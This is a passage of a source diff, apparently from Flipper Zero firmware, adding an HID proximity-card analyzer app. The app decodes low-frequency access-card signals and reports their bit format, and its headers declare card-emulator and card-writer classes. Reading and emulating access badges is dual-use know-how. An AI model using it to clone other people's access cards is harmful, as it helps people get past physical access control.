memcpy(last_read_data, data, data_size);
|
||||
last_read_count = 0;
|
||||
}
|
||||
}
|
||||
|
||||
// mode switching
|
||||
if(switch_enable && switch_timer_elapsed()) {
|
||||
switch_mode();
|
||||
last_read_count = 0;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
bool HIDReader::detect() {
|
||||
bool detected = false;
|
||||
if(detect_ticks > 10) {
|
||||
detected = true;
|
||||
}
|
||||
detect_ticks = 0;
|
||||
|
||||
return detected;
|
||||
}
|
||||
|
||||
bool HIDReader::any_read() {
|
||||
return last_read_count > 0;
|
||||
}
|
||||
|
||||
void HIDReader::start_comparator(void) {
|
||||
furi_hal_rfid_comp_set_callback(comparator_trigger_callback, this);
|
||||
last_dwt_value = DWT->CYCCNT;
|
||||
|
||||
furi_hal_rfid_comp_start();
|
||||
}
|
||||
|
||||
void HIDReader::stop_comparator(void) {
|
||||
furi_hal_rfid_comp_stop();
|
||||
furi_hal_rfid_comp_set_callback(NULL, NULL);
|
||||
}
|
47
applications/hid_analyzer/helpers/hid_reader.h
Normal file
47
applications/hid_analyzer/helpers/hid_reader.h
Normal file
|
@ -0,0 +1,47 @@
|
|||
#pragma once
|
||||
#include "decoder_hid.h"
|
||||
#include "key_info.h"
|
||||
|
||||
//#define RFID_GPIO_DEBUG 1
|
||||
|
||||
class HIDReader {
|
||||
public:
|
||||
enum class Type : uint8_t {
|
||||
Normal,
|
||||
Indala,
|
||||
};
|
||||
|
||||
HIDReader();
|
||||
void start();
|
||||
void start_forced(HIDReader::Type type);
|
||||
void stop();
|
||||
bool read(LfrfidKeyType* _type, uint8_t* data, uint8_t data_size, bool switch_enable = true);
|
||||
|
||||
bool detect();
|
||||
bool any_read();
|
||||
|
||||
private:
|
||||
friend struct HIDReaderAccessor;
|
||||
|
||||
DecoderHID decoder_hid;
|
||||
|
||||
uint32_t last_dwt_value;
|
||||
|
||||
void start_comparator(void);
|
||||
void stop_comparator(void);
|
||||
|
||||
void decode(bool polarity);
|
||||
|
||||
uint32_t detect_ticks;
|
||||
|
||||
uint32_t switch_os_tick_last;
|
||||
bool switch_timer_elapsed();
|
||||
void switch_timer_reset();
|
||||
void switch_mode();
|
||||
|
||||
LfrfidKeyType last_read_type;
|
||||
uint8_t last_read_data[LFRFID_KEY_SIZE];
|
||||
uint8_t last_read_count;
|
||||
|
||||
Type type = Type::Normal;
|
||||
};
|
38
applications/hid_analyzer/helpers/hid_worker.cpp
Normal file
38
applications/hid_analyzer/helpers/hid_worker.cpp
Normal file
|
@ -0,0 +1,38 @@
|
|||
#include "hid_worker.h"
|
||||
|
||||
HIDWorker::HIDWorker() {
|
||||
}
|
||||
|
||||
HIDWorker::~HIDWorker() {
|
||||
}
|
||||
|
||||
void HIDWorker::start_read() {
|
||||
reader.start();
|
||||
}
|
||||
|
||||
bool HIDWorker::read() {
|
||||
static const uint8_t data_size = LFRFID_KEY_SIZE;
|
||||
uint8_t data[data_size] = {0};
|
||||
LfrfidKeyType type;
|
||||
|
||||
bool result = reader.read(&type, data, data_size);
|
||||
|
||||
if(result) {
|
||||
key.set_type(type);
|
||||
key.set_data(data, data_size);
|
||||
};
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
bool HIDWorker::detect() {
|
||||
return reader.detect();
|
||||
}
|
||||
|
||||
bool HIDWorker::any_read() {
|
||||
return reader.any_read();
|
||||
}
|
||||
|
||||
void HIDWorker::stop_read() {
|
||||
reader.stop();
|
||||
}
|
21
applications/hid_analyzer/helpers/hid_worker.h
Normal file
21
applications/hid_analyzer/helpers/hid_worker.h
Normal file
|
@ -0,0 +1,21 @@
|
|||
#pragma once
|
||||
#include "key_info.h"
|
||||
#include "rfid_key.h"
|
||||
#include "hid_reader.h"
|
||||
|
||||
class HIDWorker {
|
||||
public:
|
||||
HIDWorker();
|
||||
~HIDWorker();
|
||||
|
||||
void start_read();
|
||||
bool read();
|
||||
bool detect();
|
||||
bool any_read();
|
||||
void stop_read();
|
||||
|
||||
RfidKey key;
|
||||
|
||||
private:
|
||||
HIDReader reader;
|
||||
};
|
16
applications/hid_analyzer/helpers/key_info.h
Normal file
16
applications/hid_analyzer/helpers/key_info.h
Normal file
|
@ -0,0 +1,16 @@
|
|||
#pragma once
|
||||
#include <stdint.h>
|
||||
|
||||
static const uint8_t LFRFID_KEY_SIZE = 8;
|
||||
static const uint8_t LFRFID_KEY_NAME_SIZE = 22;
|
||||
|
||||
enum class LfrfidKeyType : uint8_t {
|
||||
KeyEM4100,
|
||||
KeyH10301,
|
||||
KeyI40134,
|
||||
};
|
||||
|
||||
const char* lfrfid_key_get_type_string(LfrfidKeyType type);
|
||||
const char* lfrfid_key_get_manufacturer_string(LfrfidKeyType type);
|
||||
bool lfrfid_key_get_string_type(const char* string, LfrfidKeyType* type);
|
||||
uint8_t lfrfid_key_get_type_data_count(LfrfidKeyType type);
|
30
applications/hid_analyzer/helpers/osc_fsk.h
Normal file
30
applications/hid_analyzer/helpers/osc_fsk.h
Normal file
|
@ -0,0 +1,30 @@
|
|||
#pragma once
|
||||
#include <stdint.h>
|
||||
|
||||
/**
|
||||
* This code tries to fit the periods into a given number of cycles (phases) by taking cycles from the next cycle of periods.
|
||||
*/
|
||||
class OscFSK {
|
||||
public:
|
||||
/**
|
||||
* Get next period
|
||||
* @param bit bit value
|
||||
* @param period return period
|
||||
* @return bool whether to advance to the next bit
|
||||
*/
|
||||
bool next(bool bit, uint16_t* period);
|
||||
|
||||
/**
|
||||
* FSK ocillator constructor
|
||||
*
|
||||
* @param freq_low bit 0 freq
|
||||
* @param freq_hi bit 1 freq
|
||||
* @param osc_phase_max max oscillator phase
|
||||
*/
|
||||
OscFSK(uint16_t freq_low, uint16_t freq_hi, uint16_t osc_phase_max);
|
||||
|
||||
private:
|
||||
const uint16_t freq[2];
|
||||
const uint16_t osc_phase_max;
|
||||
int32_t osc_phase_current;
|
||||
};
|
|
@ -0,0 +1,60 @@
|
|||
#pragma once
|
||||
#include "stdint.h"
|
||||
#include "stdbool.h"
|
||||
|
||||
class ProtocolGeneric {
|
||||
public:
|
||||
/**
|
||||
* @brief Get the encoded data size
|
||||
*
|
||||
* @return uint8_t size of encoded data in bytes
|
||||
*/
|
||||
virtual uint8_t get_encoded_data_size() = 0;
|
||||
|
||||
/**
|
||||
* @brief Get the decoded data size
|
||||
*
|
||||
* @return uint8_t size of decoded data in bytes
|
||||
*/
|
||||
virtual uint8_t get_decoded_data_size() = 0;
|
||||
|
||||
/**
|
||||
* @brief encode decoded data
|
||||
*
|
||||
* @param decoded_data
|
||||
* @param decoded_data_size
|
||||
* @param encoded_data
|
||||
* @param encoded_data_size
|
||||
*/
|
||||
virtual void encode(
|
||||
const uint8_t* decoded_data,
|
||||
const uint8_t decoded_data_size,
|
||||
uint8_t* encoded_data,
|
||||
const uint8_t encoded_data_size) = 0;
|
||||
|
||||
/**
|
||||
* @brief decode encoded data
|
||||
*
|
||||
* @param encoded_data
|
||||
* @param encoded_data_size
|
||||
* @param decoded_data
|
||||
* @param decoded_data_size
|
||||
*/
|
||||
virtual void decode(
|
||||
const uint8_t* encoded_data,
|
||||
const uint8_t encoded_data_size,
|
||||
uint8_t* decoded_data,
|
||||
const uint8_t decoded_data_size) = 0;
|
||||
|
||||
/**
|
||||
* @brief fast check that data can be correctly decoded
|
||||
*
|
||||
* @param encoded_data
|
||||
* @param encoded_data_size
|
||||
* @return true - can be correctly decoded
|
||||
* @return false - cannot be correctly decoded
|
||||
*/
|
||||
virtual bool can_be_decoded(const uint8_t* encoded_data, const uint8_t encoded_data_size) = 0;
|
||||
|
||||
virtual ~ProtocolGeneric(){};
|
||||
};
|
155
applications/hid_analyzer/helpers/protocols/protocol_hid.cpp
Normal file
155
applications/hid_analyzer/helpers/protocols/protocol_hid.cpp
Normal file
|
@ -0,0 +1,155 @@
|
|||
#include "protocol_hid.h"
|
||||
#include <furi.h>
|
||||
|
||||
typedef uint32_t HIDCardData;
|
||||
constexpr uint8_t HIDCount = 3;
|
||||
constexpr uint8_t HIDBitSize = sizeof(HIDCardData) * 8;
|
||||
|
||||
uint8_t ProtocolHID::get_encoded_data_size() {
|
||||
return sizeof(HIDCardData) * HIDCount;
|
||||
}
|
||||
|
||||
uint8_t ProtocolHID::get_decoded_data_size() {
|
||||
return 3;
|
||||
}
|
||||
|
||||
void ProtocolHID::encode(
|
||||
const uint8_t* decoded_data,
|
||||
const uint8_t decoded_data_size,
|
||||
uint8_t* encoded_data,
|
||||
const uint8_t encoded_data_size) {
|
||||
UNUSED(decoded_data);
|
||||
UNUSED(decoded_data_size);
|
||||
UNUSED(encoded_data);
|
||||
UNUSED(encoded_data_size);
|
||||
// bob!
|
||||
}
|
||||
|
||||
void ProtocolHID::decode(
|
||||
const uint8_t* encoded_data,
|
||||
const uint8_t encoded_data_size,
|
||||
uint8_t* decoded_data,
|
||||
const uint8_t decoded_data_size) {
|
||||
furi_check(decoded_data_size >= get_decoded_data_size());
|
||||
furi_check(encoded_data_size >= get_encoded_data_size());
|
||||
|
||||
// header check
|
||||
int16_t second1pos = find_second_1(encoded_data);
|
||||
|
||||
if((*(encoded_data + 1) & 0b1100) != 0x08) {
|
||||
*decoded_data = 37;
|
||||
} else {
|
||||
*decoded_data = (36 - (second1pos - 8));
|
||||
}
|
||||
}
|
||||
|
||||
int16_t ProtocolHID::find_second_1(const uint8_t* encoded_data) {
|
||||
if((*(encoded_data + 1) & 0b11) == 0b10) {
|
||||
return 8;
|
||||
} else {
|
||||
for(int8_t i = 3; i >= 0; i--) {
|
||||
if(((*(encoded_data + 0) >> (2 * i)) & 0b11) == 0b10) {
|
||||
return (12 - i);
|
||||
}
|
||||
}
|
||||
for(int8_t i = 3; i >= 0; i--) {
|
||||
if(((*(encoded_data + 7) >> (2 * i)) & 0b11) == 0b10) {
|
||||
return (16 - i);
|
||||
}
|
||||
}
|
||||
for(int8_t i = 3; i >= 2; i--) {
|
||||
if(((*(encoded_data + 6) >> (2 * i)) & 0b11) == 0b10) {
|
||||
return (20 - i);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
bool ProtocolHID::can_be_decoded(const uint8_t* encoded_data, const uint8_t encoded_data_size) {
|
||||
furi_check(encoded_data_size >= get_encoded_data_size());
|
||||
|
||||
const HIDCardData* card_data = reinterpret_cast<const HIDCardData*>(encoded_data);
|
||||
|
||||
// header check
|
||||
int16_t second1pos = -1;
|
||||
// packet pre-preamble
|
||||
if(*(encoded_data + 3) != 0x1D) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// packet preamble
|
||||
if(*(encoded_data + 2) != 0x55) { // first four 0s mandatory in preamble
|
||||
return false;
|
||||
}
|
||||
|
||||
if((*(encoded_data + 1) & 0xF0) != 0x50) { // next two 0s mandatory in preamble
|
||||
return false;
|
||||
}
|
||||
|
||||
if((*(encoded_data + 1) & 0b1100) != 0x08) { // if it's not a 1...
|
||||
// either it's a 37-bit or invalid
|
||||
// so just continue with the manchester encoding checks
|
||||
} else { // it is a 1. so it could be anywhere between 26 and 36 bit encoding. or invalid.
|
||||
// we need to find the location of the second 1
|
||||
second1pos = find_second_1(encoded_data);
|
||||
}
|
||||
|
||||
if(second1pos == -1) {
|
||||
// we're 37 bit or invalid
|
||||
}
|
||||
|
||||
// data decoding. ensure all is properly manchester encoded
|
||||
uint32_t result = 0;
|
||||
|
||||
// decode from word 0
|
||||
// coded with 01 = 0, 10 = 1 transitions
|
||||
for(int8_t i = 11; i >= 0; i--) {
|
||||
switch((*(card_data + 0) >> (2 * i)) & 0b11) {
|
||||
case 0b01:
|
||||
result = (result << 1) | 0;
|
||||
break;
|
||||
case 0b10:
|
||||
result = (result << 1) | 1;
|
||||
break;
|
||||
default:
|
||||
return false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// decode from word 1
|
||||
// coded with 01 = 0, 10 = 1 transitions
|
||||
for(int8_t i = 15; i >= 0; i--) {
|
||||
switch((*(card_data + 1) >> (2 * i)) & 0b11) {
|
||||
case 0b01:
|
||||
result = (result << 1) | 0;
|
||||
break;
|
||||
case 0b10:
|
||||
result = (result << 1) | 1;
|
||||
break;
|
||||
default:
|
||||
return false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// decode from word 2
|
||||
// coded with 01 = 0, 10 = 1 transitions
|
||||
for(int8_t i = 15; i >= 0; i--) {
|
||||
switch((*(card_data + 2) >> (2 * i)) & 0b11) {
|
||||
case 0b01:
|
||||
result = (result << 1) | 0;
|
||||
break;
|
||||
case 0b10:
|
||||
result = (result << 1) | 1;
|
||||
break;
|
||||
default:
|
||||
return false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
25
applications/hid_analyzer/helpers/protocols/protocol_hid.h
Normal file
25
applications/hid_analyzer/helpers/protocols/protocol_hid.h
Normal file
|
@ -0,0 +1,25 @@
|
|||
#pragma once
|
||||
#include "protocol_generic.h"
|
||||
|
||||
class ProtocolHID : public ProtocolGeneric {
|
||||
public:
|
||||
uint8_t get_encoded_data_size() final;
|
||||
uint8_t get_decoded_data_size() final;
|
||||
|
||||
void encode(
|
||||
const uint8_t* decoded_data,
|
||||
const uint8_t decoded_data_size,
|
||||
uint8_t* encoded_data,
|
||||
const uint8_t encoded_data_size) final;
|
||||
|
||||
void decode(
|
||||
const uint8_t* encoded_data,
|
||||
const uint8_t encoded_data_size,
|
||||
uint8_t* decoded_data,
|
||||
const uint8_t decoded_data_size) final;
|
||||
|
||||
bool can_be_decoded(const uint8_t* encoded_data, const uint8_t encoded_data_size) final;
|
||||
|
||||
private:
|
||||
int16_t find_second_1(const uint8_t* encoded_data);
|
||||
};
|
36
applications/hid_analyzer/helpers/pulse_joiner.h
Normal file
36
applications/hid_analyzer/helpers/pulse_joiner.h
Normal file
|
@ -0,0 +1,36 @@
|
|||
#pragma once
|
||||
#include "stdint.h"
|
||||
|
||||
class PulseJoiner {
|
||||
public:
|
||||
/**
|
||||
* @brief Push timer pulse. First negative pulse is ommited.
|
||||
*
|
||||
* @param polarity pulse polarity: true = high2low, false = low2high
|
||||
* @param period overall period time in timer clicks
|
||||
* @param pulse pulse time in timer clicks
|
||||
*
|
||||
* @return true - next pulse can and must be popped immediatly
|
||||
*/
|
||||
bool push_pulse(bool polarity, uint16_t period, uint16_t pulse);
|
||||
|
||||
/**
|
||||
* @brief Get the next timer pulse. Call only if push_pulse returns true.
|
||||
*
|
||||
* @param period overall period time in timer clicks
|
||||
* @param pulse pulse time in timer clicks
|
||||
*/
|
||||
void pop_pulse(uint16_t* period, uint16_t* pulse);
|
||||
|
||||
PulseJoiner();
|
||||
|
||||
private:
|
||||
struct Pulse {
|
||||
bool polarity;
|
||||
uint16_t time;
|
||||
};
|
||||
|
||||
uint8_t pulse_index = 0;
|
||||
static const uint8_t pulse_max = 6;
|
||||
Pulse pulses[pulse_max];
|
||||
};
|
27
applications/hid_analyzer/helpers/rfid_key.h
Normal file
27
applications/hid_analyzer/helpers/rfid_key.h
Normal file
|
@ -0,0 +1,27 @@
|
|||
#pragma once
|
||||
#include "key_info.h"
|
||||
#include <array>
|
||||
|
||||
class RfidKey {
|
||||
public:
|
||||
RfidKey();
|
||||
~RfidKey();
|
||||
|
||||
void set_type(LfrfidKeyType type);
|
||||
void set_data(const uint8_t* data, const uint8_t data_size);
|
||||
void set_name(const char* name);
|
||||
|
||||
LfrfidKeyType get_type();
|
||||
const uint8_t* get_data();
|
||||
const char* get_type_text();
|
||||
uint8_t get_type_data_count() const;
|
||||
char* get_name();
|
||||
uint8_t get_name_length();
|
||||
void clear();
|
||||
RfidKey& operator=(const RfidKey& rhs);
|
||||
|
||||
private:
|
||||
std::array<uint8_t, LFRFID_KEY_SIZE> data;
|
||||
LfrfidKeyType type;
|
||||
char name[LFRFID_KEY_NAME_SIZE + 1];
|
||||
};
|
29
applications/hid_analyzer/helpers/rfid_timer_emulator.h
Normal file
29
applications/hid_analyzer/helpers/rfid_timer_emulator.h
Normal file
|
@ -0,0 +1,29 @@
|
|||
#pragma once
|
||||
#include <furi_hal.h>
|
||||
#include "key_info.h"
|
||||
#include "encoder_generic.h"
|
||||
#include "encoder_emmarin.h"
|
||||
#include "encoder_hid_h10301.h"
|
||||
#include "encoder_indala_40134.h"
|
||||
#include "pulse_joiner.h"
|
||||
#include <map>
|
||||
|
||||
class RfidTimerEmulator {
|
||||
public:
|
||||
RfidTimerEmulator();
|
||||
~RfidTimerEmulator();
|
||||
void start(LfrfidKeyType type, const uint8_t* data, uint8_t data_size);
|
||||
void stop();
|
||||
|
||||
private:
|
||||
EncoderGeneric* current_encoder = nullptr;
|
||||
|
||||
std::map<LfrfidKeyType, EncoderGeneric*> encoders = {
|
||||
{LfrfidKeyType::KeyEM4100, new EncoderEM()},
|
||||
{LfrfidKeyType::KeyH10301, new EncoderHID_H10301()},
|
||||
{LfrfidKeyType::KeyI40134, new EncoderIndala_40134()},
|
||||
};
|
||||
|
||||
PulseJoiner pulse_joiner;
|
||||
static void timer_update_callback(void* ctx);
|
||||
};
|
20
applications/hid_analyzer/helpers/rfid_writer.h
Normal file
20
applications/hid_analyzer/helpers/rfid_writer.h
Normal file
|
@ -0,0 +1,20 @@
|
|||
#pragma once
|
||||
#include "stdint.h"
|
||||
|
||||
class RfidWriter {
|
||||
public:
|
||||
RfidWriter();
|
||||
~RfidWriter();
|
||||
void start();
|
||||
void stop();
|
||||
void write_em(const uint8_t em_data[5]);
|
||||
void write_hid(const uint8_t hid_data[3]);
|
||||
void write_indala(const uint8_t indala_data[3]);
|
||||
|
||||
private:
|
||||
void write_gap(uint32_t gap_time);
|
||||
void write_bit(bool value);
|
||||
void write_byte(uint8_t value);
|
||||
void write_block(uint8_t page, uint8_t block, bool lock_bit, uint32_t data);
|
||||
void write_reset();
|
||||
};
|
25
applications/hid_analyzer/helpers/state_sequencer.h
Normal file
25
applications/hid_analyzer/helpers/state_sequencer.h
Normal file
|
@ -0,0 +1,25 @@
|
|||
#pragma once
|
||||
#include "stdint.h"
|
||||
#include <list>
|
||||
#include <functional>
|
||||
|
||||
class TickSequencer {
|
||||
public:
|
||||
TickSequencer();
|
||||
~TickSequencer();
|
||||
|
||||
void tick();
|
||||
void reset();
|
||||
void clear();
|
||||
|
||||
void do_every_tick(uint32_t tick_count, std::function<void(void)> fn);
|
||||
void do_after_tick(uint32_t tick_count, std::function<void(void)> fn);
|
||||
|
||||
private:
|
||||
std::list<std::pair<uint32_t, std::function<void(void)> > > list;
|
||||
std::list<std::pair<uint32_t, std::function<void(void)> > >::iterator list_it;
|
||||
|
||||
uint32_t tick_count;
|
||||
|
||||
void do_nothing();
|
||||
};
|
22
applications/hid_analyzer/hid_analyzer_app.cpp
Normal file
22
applications/hid_analyzer/hid_analyzer_app.cpp
Normal file
|
@ -0,0 +1,22 @@
|
|||
#include "hid_analyzer_app.h"
|
||||
#include "scene/hid_analyzer_app_scene_read.h"
|
||||
#include "scene/hid_analyzer_app_scene_read_success.h"
|
||||
|
||||
HIDApp::HIDApp()
|
||||
: scene_controller{this}
|
||||
, notification{"notification"}
|
||||
, storage{"storage"}
|
||||
, dialogs{"dialogs"}
|
||||
, text_store(40) {
|
||||
}
|
||||
|
||||
HIDApp::~HIDApp() {
|
||||
}
|
||||
|
||||
void HIDApp::run(void* _args) {
|
||||
UNUSED(_args);
|
||||
|
||||
scene_controller.add_scene(SceneType::Read, new HIDAppSceneRead());
|
||||
scene_controller.add_scene(SceneType::ReadSuccess, new HIDAppSceneReadSuccess());
|
||||
scene_controller.process(100, SceneType::Read);
|
||||
}
|
65
applications/hid_analyzer/hid_analyzer_app.h
Normal file
65
applications/hid_analyzer/hid_analyzer_app.h
Normal file
|
@ -0,0 +1,65 @@
|
|||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
|
||||
#include <generic_scene.hpp>
|
||||
#include <scene_controller.hpp>
|
||||
#include <view_controller.hpp>
|
||||
#include <record_controller.hpp>
|
||||
#include <text_store.h>
|
||||
|
||||
#include <view_modules/submenu_vm.h>
|
||||
#include <view_modules/popup_vm.h>
|
||||
#include <view_modules/dialog_ex_vm.h>
|
||||
#include <view_modules/text_input_vm.h>
|
||||
#include <view_modules/byte_input_vm.h>
|
||||
#include "view/container_vm.h"
|
||||
|
||||
#include <notification/notification_messages.h>
|
||||
#include <storage/storage.h>
|
||||
#include <dialogs/dialogs.h>
|
||||
|
||||
#include "helpers/hid_worker.h"
|
||||
|
||||
class HIDApp {
|
||||
public:
|
||||
enum class EventType : uint8_t {
|
||||
GENERIC_EVENT_ENUM_VALUES,
|
||||
Next,
|
||||
MenuSelected,
|
||||
Stay,
|
||||
Retry,
|
||||
};
|
||||
|
||||
enum class SceneType : uint8_t {
|
||||
GENERIC_SCENE_ENUM_VALUES,
|
||||
Read,
|
||||
ReadSuccess,
|
||||
};
|
||||
|
||||
class Event {
|
||||
public:
|
||||
union {
|
||||
int32_t menu_index;
|
||||
} payload;
|
||||
|
||||
EventType type;
|
||||
};
|
||||
|
||||
HIDApp();
|
||||
~HIDApp();
|
||||
|
||||
void run(void* args);
|
||||
|
||||
// private:
|
||||
SceneController<GenericScene<HIDApp>, HIDApp> scene_controller;
|
||||
ViewController<HIDApp, SubmenuVM, PopupVM, DialogExVM, TextInputVM, ByteInputVM, ContainerVM>
|
||||
view_controller;
|
||||
RecordController<NotificationApp> notification;
|
||||
RecordController<Storage> storage;
|
||||
RecordController<DialogsApp> dialogs;
|
||||
TextStore text_store;
|
||||
|
||||
HIDWorker worker;
|
||||
};
|
10
applications/hid_analyzer/hid_analyzer_app_launcher.cpp
Normal file
10
applications/hid_analyzer/hid_analyzer_app_launcher.cpp
Normal file
|
@ -0,0 +1,10 @@
|
|||
#include "hid_analyzer_app.h"
|
||||
|
||||
// app enter function
|
||||
extern "C" int32_t hid_analyzer_app(void* args) {
|
||||
HIDApp* app = new HIDApp();
|
||||
app->run(args);
|
||||
delete app;
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,40 @@
|
|||
#include "hid_analyzer_app_scene_read.h"
|
||||
#include <dolphin/dolphin.h>
|
||||
|
||||
void HIDAppSceneRead::on_enter(HIDApp* app, bool /* need_restore */) {
|
||||
auto popup = app->view_controller.get<PopupVM>();
|
||||
|
||||
DOLPHIN_DEED(DolphinDeedRfidRead);
|
||||
popup->set_header("Searching for\nLF HID RFID", 89, 34, AlignCenter, AlignTop);
|
||||
popup->set_icon(0, 3, &I_RFIDDolphinReceive_97x61);
|
||||
|
||||
app->view_controller.switch_to<PopupVM>();
|
||||
app->worker.start_read();
|
||||
}
|
||||
|
||||
bool HIDAppSceneRead::on_event(HIDApp* app, HIDApp::Event* event) {
|
||||
bool consumed = false;
|
||||
|
||||
if(event->type == HIDApp::EventType::Tick) {
|
||||
if(app->worker.read()) {
|
||||
DOLPHIN_DEED(DolphinDeedRfidReadSuccess);
|
||||
notification_message(app->notification, &sequence_success);
|
||||
app->scene_controller.switch_to_next_scene(HIDApp::SceneType::ReadSuccess);
|
||||
} else {
|
||||
if(app->worker.any_read()) {
|
||||
notification_message(app->notification, &sequence_blink_green_10);
|
||||
} else if(app->worker.detect()) {
|
||||
notification_message(app->notification, &sequence_blink_cyan_10);
|
||||
} else {
|
||||
notification_message(app->notification, &sequence_blink_cyan_10);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void HIDAppSceneRead::on_exit(HIDApp* app) {
|
||||
app->view_controller.get<PopupVM>()->clean();
|
||||
app->worker.stop_read();
|
||||
}
|
|
@ -0,0 +1,9 @@
|
|||
#pragma once
|
||||
#include "../hid_analyzer_app.h"
|
||||
|
||||
class HIDAppSceneRead : public GenericScene<HIDApp> {
|
||||
public:
|
||||
void on_enter(HIDApp* app, bool need_restore) final;
|
||||
bool on_event(HIDApp* app, HIDApp::Event* event) final;
|
||||
void on_exit(HIDApp* app) final;
|
||||
};
|
|
@ -0,0 +1,78 @@
|
|||
#include "hid_analyzer_app_scene_read_success.h"
|
||||
#include "../view/elements/button_element.h"
|
||||
#include "../view/elements/icon_element.h"
|
||||
#include "../view/elements/string_element.h"
|
||||
|
||||
void HIDAppSceneReadSuccess::on_enter(HIDApp* app, bool /* need_restore */) {
|
||||
string_init(string[0]);
|
||||
string_init(string[1]);
|
||||
string_init(string[2]);
|
||||
|
||||
auto container = app->view_controller.get<ContainerVM>();
|
||||
|
||||
auto button = container->add<ButtonElement>();
|
||||
button->set_type(ButtonElement::Type::Left, "Retry");
|
||||
button->set_callback(app, HIDAppSceneReadSuccess::back_callback);
|
||||
|
||||
auto icon = container->add<IconElement>();
|
||||
icon->set_icon(3, 12, &I_RFIDBigChip_37x36);
|
||||
|
||||
auto header = container->add<StringElement>();
|
||||
header->set_text("HID", 89, 3, 0, AlignCenter);
|
||||
|
||||
// auto line_1_text = container->add<StringElement>();
|
||||
auto line_2_text = container->add<StringElement>();
|
||||
// auto line_3_text = container->add<StringElement>();
|
||||
|
||||
// auto line_1_value = container->add<StringElement>();
|
||||
auto line_2_value = container->add<StringElement>();
|
||||
// auto line_3_value = container->add<StringElement>();
|
||||
|
||||
const uint8_t* data = app->worker.key.get_data();
|
||||
|
||||
// line_1_text->set_text("Hi:", 65, 23, 0, AlignRight, AlignBottom, FontSecondary);
|
||||
line_2_text->set_text("Bit:", 65, 35, 0, AlignRight, AlignBottom, FontSecondary);
|
||||
// line_3_text->set_text("Bye:", 65, 47, 0, AlignRight, AlignBottom, FontSecondary);
|
||||
|
||||
string_printf(string[1], "%u", data[0]);
|
||||
|
||||
// line_1_value->set_text(
|
||||
// string_get_cstr(string[0]), 68, 23, 0, AlignLeft, AlignBottom, FontSecondary);
|
||||
line_2_value->set_text(
|
||||
string_get_cstr(string[1]), 68, 35, 0, AlignLeft, AlignBottom, FontSecondary);
|
||||
// line_3_value->set_text(
|
||||
// string_get_cstr(string[2]), 68, 47, 0, AlignLeft, AlignBottom, FontSecondary);
|
||||
|
||||
app->view_controller.switch_to<ContainerVM>();
|
||||
|
||||
notification_message_block(app->notification, &sequence_set_green_255);
|
||||
}
|
||||
|
||||
bool HIDAppSceneReadSuccess::on_event(HIDApp* app, HIDApp::Event* event) {
|
||||
bool consumed = false;
|
||||
|
||||
if(event->type == HIDApp::EventType::Retry) {
|
||||
app->scene_controller.search_and_switch_to_previous_scene({HIDApp::SceneType::Read});
|
||||
consumed = true;
|
||||
} else if(event->type == HIDApp::EventType::Back) {
|
||||
app->scene_controller.search_and_switch_to_previous_scene({HIDApp::SceneType::Read});
|
||||
consumed = true;
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void HIDAppSceneReadSuccess::on_exit(HIDApp* app) {
|
||||
notification_message_block(app->notification, &sequence_reset_green);
|
||||
app->view_controller.get<ContainerVM>()->clean();
|
||||
string_clear(string[0]);
|
||||
string_clear(string[1]);
|
||||
string_clear(string[2]);
|
||||
}
|
||||
|
||||
void HIDAppSceneReadSuccess::back_callback(void* context) {
|
||||
HIDApp* app = static_cast<HIDApp*>(context);
|
||||
HIDApp::Event event;
|
||||
event.type = HIDApp::EventType::Retry;
|
||||
app->view_controller.send_event(&event);
|
||||
}
|
|
@ -0,0 +1,14 @@
|
|||
#pragma once
|
||||
#include "../hid_analyzer_app.h"
|
||||
|
||||
class HIDAppSceneReadSuccess : public GenericScene<HIDApp> {
|
||||
public:
|
||||
void on_enter(HIDApp* app, bool need_restore) final;
|
||||
bool on_event(HIDApp* app, HIDApp::Event* event) final;
|
||||
void on_exit(HIDApp* app) final;
|
||||
|
||||
private:
|
||||
static void back_callback(void* context);
|
||||
|
||||
string_t string[3];
|
||||
};
|
17
applications/hid_analyzer/view/container_vm.h
Normal file
17
applications/hid_analyzer/view/container_vm.h
Normal file
|
@ -0,0 +1,17 @@
|
|||
#pragma once
|
||||
#include <view_modules/generic_view_module.h>
|
||||
|
||||
class ContainerVM : public GenericViewModule {
|
||||
public:
|
||||
ContainerVM();
|
||||
~ContainerVM() final;
|
||||
View* get_view() final;
|
||||
void clean() final;
|
||||
|
||||
template <typename T> T* add();
|
||||
|
||||
private:
|
||||
View* view;
|
||||
static void view_draw_callback(Canvas* canvas, void* model);
|
||||
static bool view_input_callback(InputEvent* event, void* context);
|
||||
};
|
28
applications/hid_analyzer/view/elements/button_element.h
Normal file
28
applications/hid_analyzer/view/elements/button_element.h
Normal file
|
@ -0,0 +1,28 @@
|
|||
#pragma once
|
||||
#include "generic_element.h"
|
||||
|
||||
typedef void (*ButtonElementCallback)(void* context);
|
||||
|
||||
class ButtonElement : public GenericElement {
|
||||
public:
|
||||
ButtonElement();
|
||||
~ButtonElement() final;
|
||||
void draw(Canvas* canvas) final;
|
||||
bool input(InputEvent* event) final;
|
||||
|
||||
enum class Type : uint8_t {
|
||||
Left,
|
||||
Center,
|
||||
Right,
|
||||
};
|
||||
|
||||
void set_type(Type type, const char* text);
|
||||
void set_callback(void* context, ButtonElementCallback callback);
|
||||
|
||||
private:
|
||||
Type type = Type::Left;
|
||||
const char* text = nullptr;
|
||||
|
||||
void* context = nullptr;
|
||||
ButtonElementCallback callback = nullptr;
|
||||
};
|
21
applications/hid_analyzer/view/elements/generic_element.h
Normal file
21
applications/hid_analyzer/view/elements/generic_element.h
Normal file
|
@ -0,0 +1,21 @@
|
|||
#pragma once
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view.h>
|
||||
|
||||
class GenericElement {
|
||||
public:
|
||||
GenericElement(){};
|
||||
virtual ~GenericElement(){};
|
||||
virtual void draw(Canvas* canvas) = 0;
|
||||
virtual bool input(InputEvent* event) = 0;
|
||||
